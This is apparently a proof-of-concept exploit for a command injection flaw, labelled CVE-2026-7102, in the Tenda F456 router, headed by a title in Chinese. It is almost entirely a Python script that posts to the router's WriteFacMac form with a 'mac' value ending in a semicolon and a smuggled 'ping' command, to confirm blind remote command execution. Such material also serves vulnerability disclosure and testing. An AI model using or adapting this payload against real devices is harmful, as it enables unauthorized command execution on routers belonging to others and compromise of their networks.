CVE-2026-7102 Tenda F456命令注入漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/WriteFacMac" # Vulnerable payload: mac parameter ending with a semicolon to inject command # Example payload tries to ping a controlled server to verify blind RCE payload_data = { "mac": "AA:BB:CC:DD:EE:FF; ping 192.168.0.100" } try: # Sending the exploit request response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("Request sent successfully. Check for command execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")